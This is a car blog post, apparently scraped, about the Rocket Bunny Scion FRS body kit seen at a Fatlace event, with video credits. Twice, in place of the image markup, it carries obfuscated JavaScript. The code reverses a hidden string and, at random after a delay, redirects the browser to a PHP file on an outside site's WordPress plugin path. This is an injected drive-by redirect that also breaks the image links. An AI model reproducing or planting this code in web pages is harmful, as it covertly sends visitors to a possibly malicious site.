Maiham-Media.com. Rocket Bunny Scion FRS

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Maiham-Media.com-Rocket-Bunny-Scion-FRS.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Maiham-Media.com-Rocket-Bunny-Scion-FRS-728×433.jpg” alt=”” width=”728″ height=”433″ />

I have been drooling over photos of this car on the internet for weeks, random sightings and Facebook stalking Miura-san for the latest progress. Finally we got to see this car in person at Fatlaces Hellaflush Fuji event.

We had a quick chance to steal the Rocket Bunny Scion FRS for about an hour and whip together this little video. Nothing amazing just a quick overview of the car. The 86 / BRZ / FRS has to be without a doubt one of the best looking commercial cars to come out of Japan in a long time and the Rocket Bunny kits from TRA Kyoto only improves on the cars shape even more. Personally I think TRA Kyoto are so forward thinking with their designs. And the quality, it’s leap years above most other aero makers.

Big thanks go out to Miura-san for giving us the time to shoot his car.
Facebook : facebook.com/RocketBunny

Fatlace
fatlace.com

Music : CRAZY KEN BAND – Tiger and Dragon

Thanks to Luke Huxham for the submission